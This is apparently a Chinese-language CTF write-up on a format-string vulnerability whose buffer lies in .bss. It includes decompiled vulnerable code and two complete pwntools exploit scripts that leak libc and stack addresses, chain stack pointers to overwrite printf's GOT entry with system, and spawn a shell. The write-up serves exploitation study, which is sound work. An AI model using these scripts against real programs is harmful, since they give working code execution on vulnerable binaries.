当格式化字符串写在栈上时,可以利用 ‘%n$p’ 来泄露 地址 和 canary ,用 ‘%n$hhn’ 根据偏移覆盖地址,改地址
并且此时偏移时很好计算的,用 AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p...
就可以解决
但是,当格式化字符串写在 bss 上时,偏移就不能根据以上方法来计算了
此时得利用栈来当作跳板形成链子,改函数的 got 表,达到劫持效果 ( 前提 : RELRO 保护不为 FULL RELRO )
例题
保护
漏洞点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| int sub_804854B() { puts("Please input your password: "); while ( 1 ) { s1[read(0, s1, 0x32u)] = 0; if ( !strncmp(s1, "wllmmllw", 8u) ) break; printf("This is the wrong password: "); printf(s1); puts("Try again!"); } return puts("Login successfully! Have fun!"); } -------------------------------------------------------------------------------------- .bss:0804B0A0 ; char s1[52] .bss:0804B0A0 s1 db ? ; DATA XREF: sub_804854B+1B↑o .bss:0804B0A0 ; sub_804854B+2A↑w ... .bss:0804B0A1 db ? ; .bss:0804B0A2 db ? ; .bss:0804B0A3 db ? ; .bss:0804B0A4 db ? ; .bss:0804B0A5 db ? ; .bss:0804B0A6 db ? ; .bss:0804B0A7 db ? ; .bss:0804B0A8 db ? ; .bss:0804B0A9 db ? ;
|
存在格式化字符串漏洞,并且写在 bss 段上
漏洞利用
先用以下代码测试一下
1 2 3 4 5 6 7 8
| from pwn import* p = process('./main')
p.sendlineafter(':','name') p.recvuntil(':') gdb.attach(p) p.sendline('aaaa') p.interactive()
|
将断点下在漏洞处,即函数 printf 调用完成后
可以发现偏移为 6 和 10 处可以形成一条链子,我们可以通过 6 来调整位置,再通过 10 来写入我们想写的地址
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| from pwn import* context.log_level = 'debug' p = process('./main') elf = ELF('./main') libc = ELF('/lib/i386-linux-gnu/libc.so.6')
printf_plt = elf.plt['printf'] printf_got = elf.got['printf'] print(hex(printf_got))
p.sendlineafter(':','name') p.recvuntil(':') pay = '%12$p' p.sendline(pay) p.recvuntil(':') libcbase = int(p.recv(12),16)-2132336-0x40 print(hex(libcbase)) system = libcbase + libc.sym['system'] print("system: " + hex(system)) p.recvuntil('!') p.sendline('%6$p') p.recvuntil(':') leak_6 = int(p.recv(12),16) print "6: " + hex(leak_6) p.recvuntil('!') p.sendline('%10$p') p.recvuntil(':') leak_10 = int(p.recv(12),16) print "10: " + hex(leak_10) p.recvuntil('!') pay = '%' + str(0x14) + 'c'+ '%10$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str((leak_10 & 0xff) + 1) + 'c'+ '%6$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str(0xb0) + 'c'+ '%10$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str((leak_10 & 0xff) + 2) + 'c'+ '%6$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str(0x04) + 'c'+ '%10$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str((leak_10 & 0xff) + 3) + 'c'+ '%6$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str(0x08) + 'c'+ '%10$hhn' p.sendline(pay)
p.recvuntil('!') pay = '%' + str((leak_10 & 0xff) + 4) + 'c'+ '%6$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str(0x15) + 'c'+ '%10$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str((leak_10 & 0xff) + 5) + 'c'+ '%6$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str(0xb0) + 'c'+ '%10$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str((leak_10 & 0xff) + 6) + 'c'+ '%6$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str(0x04) + 'c'+ '%10$hhn' p.sendline(pay) pay = '%' + str((leak_10 & 0xff) + 7) + 'c'+ '%6$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str(0x08) + 'c'+ '%10$hhn' p.sendline(pay)
p.recvuntil('!') pay = '%' + str((leak_10 & 0xff) + 8) + 'c'+ '%6$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str(0x16) + 'c'+ '%10$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str((leak_10 & 0xff) + 9) + 'c'+ '%6$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str(0xb0) + 'c'+ '%10$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str((leak_10 & 0xff) + 10) + 'c'+ '%6$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str(0x04) + 'c'+ '%10$hhn' p.sendline(pay) pay = '%' + str((leak_10 & 0xff) + 11) + 'c'+ '%6$hhn' p.sendline(pay) p.recvuntil('!') pay = '%' + str(0x08) + 'c'+ '%10$hhn' p.sendline(pay)
p.recvuntil('!') pay = '%' + str((system & 0xff)) + 'c'+ '%14$hhn' pay += '%' + str(((system>>8)&0xff)+0x20) + 'c'+ '%15$hhn' pay += '%' + str(((system>>16)&0xff)+0x6e) + 'c'+ '%16$hhn'
p.sendline(pay) p.recvuntil('!') p.sendline('/bin/sh\x00') p.interactive()
|
还有一种是双字节写入,原理是一样的,更快一些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import* p = process('./login')
elf = ELF('./login') libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p.sendlineafter(':','name') p.recvuntil(':') pay = '%6$p %12$p' p.sendline(pay) p.recvuntil(':') stack = int(p.recv(12),16) print("stack:"+hex(stack)) libcbase = int(p.recv(10),16)-(0xf7f77970-0xf7d6e000) print("libcbase:"+hex(libcbase)) system = libc.sym['system']+libcbase printf_got = elf.got['printf'] print("printf_got:"+hex(printf_got))
pay = '%'+str((stack-0x4)&0xff)+'c%6$hhn' p.sendline(pay) pay = '%'+str(printf_got&0xff)+'c%10$hhn' p.sendline(pay)
pay = '%'+str((stack-0xc)&0xff)+'c%6$hhn' p.sendline(pay) pay = '%'+str((printf_got+2)&0xffff)+'c%10$hn' p.sendline(pay) gdb.attach(p,'b*0x080485AF')
s1 = system&0xffff s2 = (system>>16)-s1 print(hex(s1)+','+hex(s2)) pay = '%'+str(s1)+'c%9$hn'+'%'+str(s2)+'c%7$hn' p.sendline(pay)
p.sendline('/bin/sh') p.interactive()
|